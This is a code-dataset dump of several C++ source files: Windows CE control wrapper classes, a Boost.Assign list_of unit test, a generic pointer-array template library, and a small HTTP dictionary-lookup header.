blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
5
146
content_id
stringlengths
40
40
detected_licenses
sequencelengths
0
7
license_type
stringclasses
2 values
repo_name
stringlengths
6
79
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
4 values
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
5.07k
426M
star_events_count
int64
0
27
fork_events_count
int64
0
12
gha_license_id
stringclasses
3 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
6 values
src_encoding
stringclasses
26 values
language
stringclasses
1 value
is_vendor
bool
1 class
is_generated
bool
1 class
length_bytes
int64
20
6.28M
extension
stringclasses
20 values
content
stringlengths
20
6.28M
authors
sequencelengths
1
16
author_lines
sequencelengths
1
16
c194c57d9307546bb0894b8e9eec8394997c2632
11da90929ba1488c59d25c57a5fb0899396b3bb2
/Src/WindowsCE/Controls.hpp
6610e1a83fde5efd3d1a79508d61eee30213e838
[]
no_license
danste/ars-framework
5e7864630fd8dbf7f498f58cf6f9a62f8e1d95c6
90f99d43804d3892432acbe622b15ded6066ea5d
refs/heads/master
2022-11-11T15:31:02.271791
2005-10-17T15:37:36
2005-10-17T15:37:36
263,623,421
0
0
null
2020-05-13T12:28:22
2020-05-13T12:28:21
null
UTF-8
C++
false
false
10,113
hpp
#ifndef ARSLEXIS_CONTROLS_HPP__ #define ARSLEXIS_CONTROLS_HPP__ #include <WindowsCE/Widget.hpp> #include <commctrl.h> #define WINDOW_CLASS_SCROLLBAR TEXT("SCROLLBAR") #define WINDOW_CLASS_EDITBOX TEXT("EDIT") #define WINDOW_CLASS_TABCONTROL WC_TABCONTROL #define WINDOW_CLASS_LISTVIEW WC_LISTVIEW #define WINDOW_CLASS_BUTTON TEXT("BUTTON") #define WINDOW_CLASS_LISTBOX TEXT("LISTBOX") #define WINDOW_CLASS_COMBOBOX TEXT("COMBOBOX") #define WINDOW_CLASS_STATIC TEXT("STATIC") #define WINDOW_CLASS_TRACKBAR TEXT("TRACKBAR") #define DECLARE_CONTROL_CTORS(ControlClass) \ explicit ControlClass(AutoDeleteOption ad = autoDeleteNot); \ explicit ControlClass(HWND wnd, AutoDeleteOption ad = autoDeleteNot); \ ~ControlClass() #define DECLARE_CONTROL_CREATE() \ bool create(DWORD style, const RECT& rect, HWND parent, HINSTANCE inst = NULL, UINT controlId = 0); \ bool create(DWORD style, int x, int y, int width, int height, HWND parent, HINSTANCE instance = NULL, UINT controlId = 0) #define DECLARE_CONTROL_ALL(ControlClass) \ DECLARE_CONTROL_CTORS(ControlClass); \ DECLARE_CONTROL_CREATE() class ScrollBar: public Widget { public: DECLARE_CONTROL_ALL(ScrollBar); void setScrollRange(int minPos, int maxPos, RepaintOption repaint) {SetScrollRange(handle(), SB_CTL, minPos, maxPos, repaint);} void setScrollInfo(const SCROLLINFO& si, RepaintOption repaint) {SetScrollInfo(handle(), SB_CTL, &si, repaint);} void setScrollPos(int pos, RepaintOption repaint) {SetScrollPos(handle(), SB_CTL, pos, repaint);} void getScrollInfo(SCROLLINFO& si) const {GetScrollInfo(handle(), SB_CTL, &si);} //int position() const {return sendMessage(SBM_GETPOS, 0, 0);} // //void range(int& minPos, int& maxPos) const {sendMessage(SBM_GETRANGE, (WPARAM)&minPos, (LPARAM)&maxPos);} }; class EditBox: public Widget { public: DECLARE_CONTROL_CTORS(EditBox); bool create(DWORD style, int x, int y, int width, int height, HWND parent, HINSTANCE instance = NULL, const char_t* text = NULL); bool create(DWORD style, const RECT& r, HWND parent, HINSTANCE instance = NULL, const char_t* text = NULL); bool canUndo() const {return 0 != sendMessage(EM_CANUNDO, 0, 0);} ulong_t charAtPoint(const Point& p, ulong_t* line = NULL) const; void emptyUndoBuffer() {sendMessage(EM_EMPTYUNDOBUFFER, 0, 0);} long lineIndex(long line) const {return sendMessage(EM_LINEINDEX, line, 0);} long lineFromChar(long charIndex) const {return sendMessage(EM_LINEFROMCHAR, charIndex, 0);} ulong_t lineCount() const {return sendMessage(EM_GETLINECOUNT, 0, 0);} ulong_t lineLengthByCharIndex(long charIndex) const {return sendMessage(EM_LINELENGTH, charIndex, 0);} ulong_t lineLength(long line) const {return lineLengthByCharIndex(lineLength(line));} void setReadOnly(bool value) {sendMessage(EM_SETREADONLY, value, 0);} bool readOnly() const {return 0 != (ES_READONLY & style());} bool multiLine() const {return 0 != (ES_MULTILINE & style());} bool password() const {return 0 != (ES_PASSWORD & style());} void setSelection(ulong_t start = 0, long end = -1) {sendMessage(EM_SETSEL, start, end);} void selection(ulong_t& start, ulong_t& end) const {sendMessage(EM_GETSEL, (WPARAM)&start, (LPARAM)&end);} }; class ProgressBar: public Widget { public: DECLARE_CONTROL_ALL(ProgressBar); ulong_t position() const {return sendMessage(PBM_GETPOS, 0, 0);} void setRange(ulong_t rangeMin, ulong_t rangeMax) {sendMessage(PBM_SETRANGE32, rangeMin, rangeMax);} void setPosition(ulong_t pos) {sendMessage(PBM_SETPOS, pos, 0);} }; class TabControl: public Widget { public: DECLARE_CONTROL_ALL(TabControl); HIMAGELIST imageList() const {return TabCtrl_GetImageList(handle());} HIMAGELIST setImageList(HIMAGELIST lst) {return TabCtrl_SetImageList(handle(), lst);} ulong_t tabCount() const {return TabCtrl_GetItemCount(handle());} bool tab(ulong_t index, TCITEM& it) const {return FALSE != TabCtrl_GetItem(handle(), index, &it);} bool setTab(ulong_t index, const TCITEM& it) {return FALSE != TabCtrl_SetItem(handle(), index, &it);} long insertTab(ulong_t index, const TCITEM& it) {return TabCtrl_InsertItem(handle(), index, &it);} bool removeTab(ulong_t index) {return FALSE != TabCtrl_DeleteItem(handle(), index);} bool clear() {return FALSE != TabCtrl_DeleteAllItems(handle());} bool tabBounds(ulong_t index, RECT& r) const {return FALSE != TabCtrl_GetItemRect(handle(), index, &r);} enum {selectionNone = long(-1)}; long selection() const {return TabCtrl_GetCurSel(handle());} long setSelection(ulong_t index) {return TabCtrl_SetCurSel(handle(), index);} enum AdjustMode { adjustControl, adjustTab }; void adjustBounds(AdjustMode am, RECT& rect) const {TabCtrl_AdjustRect(handle(), am, &rect);} void setTabSize(ulong_t width, ulong_t height) {TabCtrl_SetItemSize(handle(), width, height);} void setPadding(ulong_t h, ulong_t v) {TabCtrl_SetPadding(handle(), h, v);} ulong_t rowCount() const {return TabCtrl_GetRowCount(handle());} long focusedTab() const {return TabCtrl_GetCurFocus(handle());} long setFocusedTab(ulong_t index) {return TabCtrl_SetCurFocus(handle(), index);} enum {tabWidthDefault = long(-1)}; long setMinTabWidth(long width) {return TabCtrl_SetMinTabWidth(handle(), width);} bool setTabHighlight(ulong_t index, bool value) {return FALSE != TabCtrl_HighlightItem(handle(), index, value);} }; #ifndef LVS_EX_DOUBLEBUFFER #define LVS_EX_DOUBLEBUFFER 0 #endif #ifndef LVS_EX_GRADIENT #define LVS_EX_GRADIENT 0 #endif class ListView: public Widget { public: DECLARE_CONTROL_ALL(ListView); bool clear() {return FALSE != ListView_DeleteAllItems(handle());} bool removeItem(ulong_t index) {return FALSE != ListView_DeleteItem(handle(), index);} bool item(LVITEM& it) const {return FALSE != ListView_GetItem(handle(), &it);} ulong_t itemCount() const {return ListView_GetItemCount(handle());} long insertItem(const LVITEM& it) {return ListView_InsertItem(handle(), &it);} bool setItem(const LVITEM& it) {return FALSE != ListView_SetItem(handle(), &it);} HIMAGELIST setImageList(HIMAGELIST list, int type) {return ListView_SetImageList(handle(), list, type);} void setStyleEx(DWORD styleEx) {ListView_SetExtendedListViewStyle(handle(), styleEx);} bool setTextBkColor(COLORREF color) {return FALSE != ListView_SetTextBkColor(handle(), color);} void setIconSpacing(ulong_t x, ulong_t y) {ListView_SetIconSpacing(handle(), x, y);} void setItemState(ulong_t index, ulong_t data, ulong_t mask) {ListView_SetItemState(handle(), index, data, mask);} void redrawItems(ulong_t begin, ulong_t end) {ListView_RedrawItems(handle(), begin, end);} void setColumnWidth(ulong_t index, ulong_t width) {ListView_SetColumnWidth(handle(), index, width);} long selection() const {return ListView_GetSelectionMark(handle());} long setSelection(long index) {return ListView_SetSelectionMark(handle(), index);} long hitTest(LVHITTESTINFO& hti) const {return ListView_HitTest(handle(), &hti);} long itemBounds(ulong_t index, RECT& r, int code) const {return ListView_GetItemRect(handle(), index, &r, code);} long insertColumn(ulong_t index, const LVCOLUMN& col) {return ListView_InsertColumn(handle(), index, &col);} void focusItem(ulong_t index) {ListView_SetItemState(handle(), index, LVIS_SELECTED | LVIS_FOCUSED, LVIS_SELECTED | LVIS_FOCUSED);} }; class Button: public Widget { public: DECLARE_CONTROL_ALL(Button); void setCheck(ulong_t state = BST_CHECKED) {sendMessage(BM_SETCHECK, state, 0);} long checked() const {return sendMessage(BM_GETCHECK, 0, 0);} }; class ListBox: public Widget { public: DECLARE_CONTROL_ALL(ListBox); }; class ComboBox: public Widget { public: DECLARE_CONTROL_ALL(ComboBox); long addString(const char_t* str) {return sendMessage(CB_ADDSTRING, 0, (LPARAM)str);} long addString(UINT stringId); long insertString(long index, const char_t* str) {return sendMessage(CB_INSERTSTRING, index, (LPARAM)str);} long insertString(long index, UINT stringId); void clear() {sendMessage(CB_RESETCONTENT, 0, 0);} long selection() const {return sendMessage(CB_GETCURSEL, 0, 0);} void setSelection(long index) {sendMessage(CB_SETCURSEL, index, 0);} long removeString(ulong_t index) {return sendMessage(CB_DELETESTRING, index, 0);} long itemCount() const {return sendMessage(CB_GETCOUNT, 0, 0);} long droppedWidth() const {return sendMessage(CB_GETDROPPEDWIDTH, 0, 0);} long setDroppedWidth(long w) {return sendMessage(CB_SETDROPPEDWIDTH, w, 0);} long itemHeight(long item = 0) const {return sendMessage(CB_GETITEMHEIGHT, item, 0);} long setItemHeight(long h, long item = 0) {return sendMessage(CB_SETITEMHEIGHT, item, h);} long droppedRect(RECT& r) const {return sendMessage(CB_GETDROPPEDCONTROLRECT, 0, (LPARAM)&r);} bool setDroppedRect(const RECT& r); }; class TrackBar: public Widget { public: DECLARE_CONTROL_ALL(TrackBar); long position() const {return sendMessage(TBM_GETPOS, 0, 0);} void setRange(ushort rangeMin, ushort rangeMax, RepaintOption repaint) {sendMessage(TBM_SETRANGE, (WPARAM)(BOOL)repaint, (LPARAM)MAKELONG(rangeMin, rangeMax));} void setPosition(long pos, RepaintOption repaint) {sendMessage(TBM_SETPOS, (WPARAM)(BOOL)repaint, (LPARAM)(LONG)pos);} enum BuddyType { buddyRight, buddyBottom = buddyRight, buddyLeft, buddyTop = buddyLeft }; HWND setBuddy(BuddyType type, HWND wnd) {return (HWND)sendMessage(TBM_SETBUDDY, (WPARAM)(BOOL)type, (LPARAM)wnd);} }; typedef TrackBar Slider; #endif
[ "andrzejc@10a9aba9-86da-0310-ac04-a2df2cc00fd9" ]
[ [ [ 1, 265 ] ] ]
467fc669bd1887e6a6bc619ef97c3705fe04c17b
b2d46af9c6152323ce240374afc998c1574db71f
/cursovideojuegos/theflostiproject/3rdParty/boost/libs/assign/test/list_of.cpp
f2b8d511fab25d45af3b8d6c96717b44dcd15902
[]
no_license
bugbit/cipsaoscar
601b4da0f0a647e71717ed35ee5c2f2d63c8a0f4
52aa8b4b67d48f59e46cb43527480f8b3552e96d
refs/heads/master
2021-01-10T21:31:18.653163
2011-09-28T16:39:12
2011-09-28T16:39:12
33,032,640
0
0
null
null
null
null
UTF-8
C++
false
false
6,773
cpp
// Boost.Assign library // // Copyright Thorsten Ottosen 2003-2004. Use, modification and // distribution is subject to the Boost Software License, Version // 1.0. (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // // For more information, see http://www.boost.org/libs/assign/ // #include <boost/detail/workaround.hpp> #if BOOST_WORKAROUND(__BORLANDC__, BOOST_TESTED_AT(0x564)) # pragma warn -8091 // supress warning in Boost.Test # pragma warn -8057 // unused argument argc/argv in Boost.Test #endif #include <boost/assign/list_of.hpp> #include <boost/test/unit_test.hpp> #include <boost/test/test_tools.hpp> #include <boost/array.hpp> #include <algorithm> #include <vector> #include <list> #include <deque> #include <set> #include <map> #include <stack> #include <string> #include <cstdlib> #include <complex> struct nothing { template< class T > void operator()( T ) { } }; template< class Range > void for_each( const Range& r ) { std::for_each( r.begin(), r.end(), nothing() ); } namespace ba = boost::assign; template< class C > void test_sequence_list_of_string() { #if BOOST_WORKAROUND(BOOST_MSVC, <=1300) const C c = ba::list_of( "foo" )( "bar" ).to_container( c ); #else const C c = ba::list_of( "foo" )( "bar" ); #endif BOOST_CHECK_EQUAL( c.size(), 2u ); } template< class C > void test_sequence_list_of_int() { using namespace std; #if BOOST_WORKAROUND(BOOST_MSVC, <=1300) const C c = ba::list_of<int>(1)(2)(3)(4).to_container( c ); const C c2 = (ba::list_of(1),2,3,4).to_container( c2 ); BOOST_CHECK_EQUAL( c.size(), 4u ); BOOST_CHECK_EQUAL( c2.size(), 4u ); C c3 = ba::list_of(1).repeat( 1, 2 )(3).to_container( c3 ); BOOST_CHECK_EQUAL( c3.size(), 3u ); c3 = ba::list_of(1).repeat_fun( 10, &rand )(2)(3).to_container( c3 ); BOOST_CHECK_EQUAL( c3.size(), 13u ); #else const C c = ba::list_of<int>(1)(2)(3)(4); const C c2 = (ba::list_of(1),2,3,4); BOOST_CHECK_EQUAL( c.size(), 4u ); BOOST_CHECK_EQUAL( c2.size(), 4u ); C c3 = ba::list_of(1).repeat( 1, 2 )(3); BOOST_CHECK_EQUAL( c3.size(), 3u ); #if BOOST_WORKAROUND(__BORLANDC__, BOOST_TESTED_AT(0x564)) // BCB fails to use operator=() directly, // it must be worked around using e.g. auxiliary variable C aux = ba::list_of(1).repeat_fun( 10, &rand )(2)(3); BOOST_CHECK_EQUAL( aux.size(), 13u ); c3 = aux; BOOST_CHECK_EQUAL( c3.size(), 13u ); #else c3 = ba::list_of(1).repeat_fun( 10, &rand )(2)(3); BOOST_CHECK_EQUAL( c3.size(), 13u ); #endif #endif } template< class C > void test_map_list_of() { const C c = ba::list_of< std::pair<std::string,int> >( "foo", 1 )( "bar", 2 )( "buh", 3 )( "bah", 4 ); BOOST_CHECK_EQUAL( c.size(), 4u ); const C c2 = ba::map_list_of( "foo", 1 )( "bar", 2 )( "buh", 3 )( "bah", 4 ); BOOST_CHECK_EQUAL( c2.size(), 4u ); } void test_vector_matrix() { using namespace boost; using namespace boost::assign; using namespace std; #if BOOST_WORKAROUND(BOOST_DINKUMWARE_STDLIB, == 1) || BOOST_WORKAROUND(BOOST_MSVC, <=1300) #else const int sz = 3; typedef array<int,sz> row3; typedef array<row3,sz> matrix3x3; matrix3x3 m = list_of( list_of(1)(2)(3) ) ( list_of(4)(5)(6) ) ( list_of(7)(8)(9) ); for( int i = 0; i != sz; ++i ) for( int j = 0; j != sz; ++j ) BOOST_CHECK_EQUAL( m[i][j], i*sz + j + 1 ); typedef vector<int> row; typedef vector<row> matrix; // // note: some libraries need a little help // with the conversion, hence the 'row' template parameter. // matrix m2 = list_of< row >( list_of(1)(2)(3) ) ( list_of(4)(5) ) ( list_of(6) ); for( int i = 0; i != sz; ++i ) for( int j = 0; j != sz - i; ++j ) BOOST_CHECK_EQUAL( m[i][j], i*sz + j + 1 ); #endif } void test_map_list_of() { /* maybe in the future... using namespace std; using namespace boost::assign; typedef vector<int> score_type; typedef map<string,score_type> team_score_map; team_score_map team_score = map_list_of ( "Team Foo", list_of(1)(1)(0) ) ( "Team Bar", list_of(0)(0)(0) ) ( "Team FooBar", list_of(0)(0)(1) ); BOOST_CHECK_EQUAL( team_score.size(), 3 ); BOOST_CHECK_EQUAL( team_score[ "Team Foo" ][1], 1 ); BOOST_CHECK_EQUAL( team_score[ "Team Bar" ][0], 0 ); */ } /* void test_complex_list_of() { typedef std::complex<float> complex_t; std::vector<complex_t> v; v = ba::list_of<complex_t>(1,2)(2,3)(4,5)(0). repeat_from_to( complex_t(0,0), complex_t(10,10), complex_t(1,1) ); } */ struct five { five( int, int, int, int, int ) { } }; void test_list_of() { ba::list_of< five >(1,2,3,4,5)(6,7,8,9,10); /* Maybe this could be usefull in a later version? // an anonymous lists, fulfills Range concept for_each( ba::list_of( T() )( T() )( T() ) ); // non-anonymous lists ba::generic_list<T> list_1 = ba::list_of( T() ); BOOST_CHECK_EQUAL( list_1.size(), 1 ); ba::generic_list<T> list_2 = list_1 + ba::list_of( T() )( T() ) + list_1; BOOST_CHECK_EQUAL( list_2.size(), 4 ); list_1 += list_2; BOOST_CHECK_EQUAL( list_1.size(), 5 ); */ } void check_list_of() { test_sequence_list_of_int< std::vector<int> >(); test_sequence_list_of_int< std::list<int> >(); test_sequence_list_of_int< std::deque<int> >(); test_sequence_list_of_int< std::set<int> >(); test_sequence_list_of_int< std::multiset<int> >(); test_sequence_list_of_int< std::vector<float> >(); test_sequence_list_of_string< std::vector<std::string> >(); test_map_list_of< std::map<std::string,int> >(); test_map_list_of< std::multimap<std::string,int> >(); std::stack<std::string> s = ba::list_of( "Foo" )( "Bar" )( "FooBar" ).to_adapter( s ); test_list_of(); test_vector_matrix(); } #include <boost/test/included/unit_test_framework.hpp> using boost::unit_test_framework::test_suite; test_suite* init_unit_test_suite( int argc, char* argv[] ) { test_suite* test = BOOST_TEST_SUITE( "List Test Suite" ); test->add( BOOST_TEST_CASE( &check_list_of ) ); return test; }
[ "ohernandezba@71d53fa2-cca5-e1f2-4b5e-677cbd06613a" ]
[ [ [ 1, 248 ] ] ]
1dc913b21e346d6eadde1f014b737b05e1a9956b
7f783db3cfa388eb2c974635a89caa20312fcca3
/samples/zXML/grom/Array.h
68b96d740b49567d6f89178f397f55bc4f33eda1
[]
no_license
altmind/com_xmlparse
4ca094ae1af005fa042bf0bef481d994ded0e86b
da2a09c631d581065a643cbb04fbdeb00e14b43e
refs/heads/master
2021-01-23T08:56:46.017420
2010-11-24T14:46:38
2010-11-24T14:46:38
1,091,119
0
0
null
null
null
null
UTF-8
C++
false
false
13,008
h
// Free open-source Grom library #include "stdafx.h" #ifndef __Grom_System_Array_h__ #define __Grom_System_Array_h__ #include "Config.h" #include "Object.h" namespace Sys { int STDCALL ComparePointers(void* p1, void* p2, void* userData); // The PointerArray class is an implementation for type-safe TArray<T> class. // Main purpose is to avoid code bloating during template instantiation. // It provides (unlike std::vector<void*>): // - automatic memory initialization upon array resize; // - mandatory range checking even in release builds; // - function pointer as comparer instead of class with operator() overloaded; // - .NET-like API for easy migration to the .NET Framework. // PointerArray class PointerArray { public: typedef int STDCALL CompareProc(void* item1, void* item2, void* userData); PointerArray(); ~PointerArray(); // Capacity/Count int Capacity() const; void SetCapacity(int capacity); int Count() const; void SetCount(int count); // Get/Set void* Item(int index) const; void* operator[](int index) const; void SetItem(int index, void* item); void SetRange(int index, void** items, int count); // Add/Remove/Move/Clear void Add(void* item); void AddRange(void** items, int count); void Insert(int index, void* item); void InsertRange(int index, void** items, int count); bool Remove(void* item); void* RemoveAt(int index); void RemoveRange(int index, int count); void Move(int sourceIndex, int targetIndex); void MoveRange(int sourceIndex, int count, int targetIndex); void Clear(); // Copy void CopyFrom(const PointerArray& sourceArray); void CopyFrom(const PointerArray& sourceArray, int sourceIndex); void CopyFrom(const PointerArray& sourceArray, int sourceIndex, int targetIndex, int count); // Linear search int IndexOf(void* item) const; int IndexOf(void* item, int startIndex) const; int IndexOf(void* item, int startIndex, int count) const; int LastIndexOf(void* item) const; int LastIndexOf(void* item, int startIndex) const; int LastIndexOf(void* item, int startIndex, int count) const; bool Contains(void* item) const; // Binary search int BinarySearch(void* item) const; int BinarySearch(void* item, CompareProc* comparer, void* userData) const; int BinarySearch(void* item, int startIndex, int count) const; int BinarySearch(void* item, int startIndex, int count, CompareProc* comparer, void* userData) const; // Auxiliary void Reverse(); void Reverse(int startIndex, int count); void Sort(); void Sort(CompareProc* comparer, void* userData); void Sort(int startIndex, int count, CompareProc* comparer, void* userData); void TrimToSize(); private: PointerArray(const PointerArray&); // forbidden PointerArray& operator=(const PointerArray&); // forbidden void Grow(); int ForwardSearch(void* item, int index, int count) const; int BackwardSearch(void* item, int index, int count) const; void DoSort(int fromIndex, int toIndex, CompareProc* comparer, void* userData); void** m_Data; int m_Capacity; int m_Count; }; // PointerArray inline int PointerArray::Capacity() const { return m_Capacity; } inline int PointerArray::Count() const { return m_Count; } inline void PointerArray::Clear() { SetCount(0); } inline void PointerArray::CopyFrom(const PointerArray& sourceArray) { CopyFrom(sourceArray, 0, 0, sourceArray.m_Count); } inline void PointerArray::CopyFrom(const PointerArray& sourceArray, int sourceIndex) { CopyFrom(sourceArray, sourceIndex, 0, sourceArray.m_Count); } inline int PointerArray::IndexOf(void* item) const { return IndexOf(item, 0, m_Count); } inline int PointerArray::IndexOf(void* item, int startIndex) const { return IndexOf(item, startIndex, m_Count - startIndex); } inline int PointerArray::LastIndexOf(void* item) const { return LastIndexOf(item, 0, m_Count); } inline int PointerArray::LastIndexOf(void* item, int startIndex) const { return LastIndexOf(item, startIndex, m_Count - startIndex); } inline bool PointerArray::Contains(void* item) const { return IndexOf(item) != -1; } inline int PointerArray::BinarySearch(void* item) const { return BinarySearch(item, ComparePointers, (void*)NULL); } inline int PointerArray::BinarySearch(void* item, CompareProc* comparer, void* userData) const { if (m_Count > 0) return BinarySearch(item, (int)0, m_Count, comparer, userData); else return ~0; } inline int PointerArray::BinarySearch(void* item, int startIndex, int count) const { return BinarySearch(item, startIndex, count, ComparePointers, (void*)NULL); } inline void PointerArray::Reverse() { Reverse(0, m_Count); } inline void PointerArray::Sort() { Sort(ComparePointers, (void*)NULL); } inline void PointerArray::Sort(CompareProc* comparer, void* userData) { Sort(0, m_Count, comparer, userData); } inline void PointerArray::TrimToSize() { SetCapacity(m_Count); } // The TArray<T> class is just type-safe wrapper over the PointerArray class. // It provides (unlike std::vector<T*>): // - single implementation for all reference-type objects // (unlike std::vector there is no code bloating); // - automatic memory initialization upon array resize; // - mandatory range checking even in release builds; // - function pointer as comparer instead of class with operator() overloaded; // - .NET-like API for easy migration to the .NET Framework. // TArray template <class T> class TArray { public: typedef int STDCALL CompareProc(T* item1, T* item2, void* userData); TArray(); TArray(const TArray<T>& sourceArray); TArray<T>& operator=(const TArray<T>& sourceArray); ~TArray(); // Capacity/Count int Capacity(); void SetCapacity(int capacity); int Count(); void SetCount(int count); // Get/Set T* Item(int index); void SetItem(int index, T* item); //TArray<T>* Range(int index, int count) const; void SetRange(int index, T** items, int count); // Add/Remove/Clear void Add(T* item); void AddRange(T** items, int count); void Insert(int index, T* item); void InsertRange(int index, T** items, int count); bool Remove(T* item); T* RemoveAt(int index); void RemoveRange(int index, int count); void Clear(); // Copy void CopyFrom(TArray<T>* sourceArray); void CopyFrom(TArray<T>* sourceArray, int sourceIndex); void CopyFrom(TArray<T>* sourceArray, int sourceIndex, int targetIndex, int count); // Linear search int IndexOf(T* item); int IndexOf(T* item, int startIndex); int IndexOf(T* item, int startIndex, int count); int LastIndexOf(T* item); int LastIndexOf(T* item, int startIndex); int LastIndexOf(T* item, int startIndex, int count); bool Contains(T* item); // Binary search int BinarySearch(T* item); int BinarySearch(T* item, CompareProc* comparer, void* userData); int BinarySearch(T* item, int startIndex, int count); int BinarySearch(T* item, int startIndex, int count, CompareProc* comparer, void* userData); // Auxiliary void Reverse(); void Reverse(int startIndex, int count); void Sort(); void Sort(CompareProc* comparer, void* userData); void Sort(int startIndex, int count, CompareProc* comparer, void* userData); void TrimToSize(); private: PointerArray m_Items; }; // TArray template <class T> TArray<T>::TArray() : m_Items() { } template <class T> TArray<T>::TArray(const TArray<T>& sourceArray) : m_Items() { CopyFrom(sourceArray); } template <class T> TArray<T>& TArray<T>::operator=(const TArray<T>& sourceArray) { CopyFrom(sourceArray); } template <class T> TArray<T>::~TArray() { } template <class T> inline int TArray<T>::Capacity() { return m_Items.Capacity(); } template <class T> inline void TArray<T>::SetCapacity(int capacity) { m_Items.SetCapacity(capacity); } template <class T> inline int TArray<T>::Count() { return m_Items.Count(); } template <class T> inline void TArray<T>::SetCount(int count) { m_Items.SetCount(count); } template <class T> inline T* TArray<T>::Item(int index) { return static_cast<T*>(m_Items.Item(index)); } template <class T> inline void TArray<T>::SetItem(int index, T* item) { m_Items.SetItem(index, item); } template <class T> inline void TArray<T>::SetRange(int index, T** items, int count) { m_Items.SetRange(index, items, count); } template <class T> inline void TArray<T>::Add(T* item) { m_Items.Add(item); } template <class T> inline void TArray<T>::AddRange(T** items, int count) { m_Items.AddRange((void**)items, count); } template <class T> inline void TArray<T>::Insert(int index, T* item) { m_Items.Insert(index, item); } template <class T> inline void TArray<T>::InsertRange(int index, T** items, int count) { m_Items.InsertRange(index, (void**)items, count); } template <class T> inline bool TArray<T>::Remove(T* item) { return m_Items.Remove(item); } template <class T> inline T* TArray<T>::RemoveAt(int index) { return static_cast<T*>(m_Items.RemoveAt(index)); } template <class T> inline void TArray<T>::RemoveRange(int index, int count) { m_Items.RemoveRange(index, count); } template <class T> inline void TArray<T>::Clear() { m_Items.Clear(); } template <class T> inline void TArray<T>::CopyFrom(TArray<T>* sourceArray) { m_Items.CopyFrom(sourceArray->m_Items); } template <class T> inline void TArray<T>::CopyFrom(TArray<T>* sourceArray, int sourceIndex) { m_Items.CopyFrom(sourceArray->m_Items, sourceIndex); } template <class T> inline void TArray<T>::CopyFrom(TArray<T>* sourceArray, int sourceIndex, int targetIndex, int count) { m_Items.CopyFrom(sourceArray, sourceIndex, targetIndex, count); } template <class T> inline int TArray<T>::IndexOf(T* item) { return m_Items.IndexOf(item); } template <class T> inline int TArray<T>::IndexOf(T* item, int startIndex) { return m_Items.IndexOf(item, startIndex); } template <class T> inline int TArray<T>::IndexOf(T* item, int startIndex, int count) { return m_Items.IndexOf(item, startIndex, count); } template <class T> inline int TArray<T>::LastIndexOf(T* item) { return m_Items.LastIndexOf(item); } template <class T> inline int TArray<T>::LastIndexOf(T* item, int startIndex) { return m_Items.LastIndexOf(item, startIndex); } template <class T> inline int TArray<T>::LastIndexOf(T* item, int startIndex, int count) { return m_Items.LastIndexOf(item, startIndex, count); } template <class T> inline bool TArray<T>::Contains(T* item) { return m_Items.Contains(item); } template <class T> inline int TArray<T>::BinarySearch(T* item) { return m_Items.BinarySearch(item); } template <class T> inline int TArray<T>::BinarySearch(T* item, int startIndex, int count) { return m_Items.BinarySearch(item, startIndex, count); } template <class T> inline int TArray<T>::BinarySearch(T* item, CompareProc* comparer, void* userData) { return m_Items.BinarySearch(item, comparer, userData); } template <class T> inline int TArray<T>::BinarySearch(T* item, int startIndex, int count, CompareProc* comparer, void* userData) { return m_Items.BinarySearch(item, startIndex, count, comparer, userData); } template <class T> inline void TArray<T>::Reverse() { m_Items.Reverse(); } template <class T> inline void TArray<T>::Reverse(int startIndex, int count) { m_Items.Reverse(startIndex, count); } template <class T> inline void TArray<T>::Sort() { m_Items.Sort(); } template <class T> inline void TArray<T>::Sort(CompareProc* comparer, void* userData) { m_Items.Sort(CastToPointerComparer(comparer), userData); } template <class T> inline void TArray<T>::Sort(int startIndex, int count, CompareProc* comparer, void* userData) { m_Items.Sort(startIndex, count, CastToPointerComparer(comparer), userData); } template <class T> inline void TArray<T>::TrimToSize() { m_Items.TrimToSize(); } template <class T> inline PointerArray::CompareProc* CastToPointerComparer(int (STDCALL *comparer)(T* item1, T* item2, void* userData)) { PointerArray::CompareProc* result = (PointerArray::CompareProc*)comparer; COMPILE_TIME_CHECK_BEGIN // Ensure that CompareProc and TArray<Object>::CompareProc are binary compatible. void* userData = NULL; int a = result((void*)NULL, (void*)NULL, userData); a = result((Object*)NULL, (Object*)NULL, userData); a = comparer((Object*)NULL, (Object*)NULL, userData); COMPILE_TIME_CHECK_END return result; } } // namespace Sys #endif // __Grom_System_Array_h__
[ [ [ 1, 571 ] ] ]
2016d1ea42c25fb357e50f73ff0735f928d0cfee
7aa1c25a330a73eae8b4744638cf97df2fba533f
/sm_inoah/Transmission.hpp
d7087c550a6ed24e947088cdb2ef7b06c4df2024
[]
no_license
kjk/inoah-sm
fe7b9ef390f000bd4d16cecb39f20c038a83e58c
bc197693c8c7b020da2c72b786a4a3f91cc5ba84
refs/heads/master
2021-08-27T20:33:54.293073
2008-05-22T04:36:07
2008-05-22T04:36:07
18,808
2
1
null
2021-07-29T14:53:51
2008-05-22T04:35:21
C++
UTF-8
C++
false
false
479
hpp
#ifndef _TRANSMISSION_H_ #define _TRANSMISSION_H_ #include "BaseTypes.hpp" #include "wininet.h" using ArsLexis::String; void DeinitWinet(); DWORD GetHttpBody(const String& host, const INTERNET_PORT port, const String& url, String& bodyOut); bool FGetRandomDef(String& defOut); bool FGetWord(const String& word, String& defOut); bool FGetRecentLookups(String& wordListOut); bool FCheckRegCode(const String& regCode, bool& fRegCodeValid); #endif
[ "kjk@cb00da1d-87da-0310-af5a-c070ebdf6fc3", "mareks@cb00da1d-87da-0310-af5a-c070ebdf6fc3" ]
[ [ [ 1, 2 ], [ 7, 7 ], [ 9, 17 ] ], [ [ 3, 6 ], [ 8, 8 ] ] ]
3035cd4bada5b1408835d3db49090e35ce304237
36bf908bb8423598bda91bd63c4bcbc02db67a9d
/Library/MessageBoxExt.cpp
05581bc7eb5531171f500ca3fdfed71c176397eb
[]
no_license
code4bones/crawlpaper
edbae18a8b099814a1eed5453607a2d66142b496
f218be1947a9791b2438b438362bc66c0a505f99
refs/heads/master
2021-01-10T13:11:23.176481
2011-04-14T11:04:17
2011-04-14T11:04:17
44,686,513
0
1
null
null
null
null
UTF-8
C++
false
false
66,050
cpp
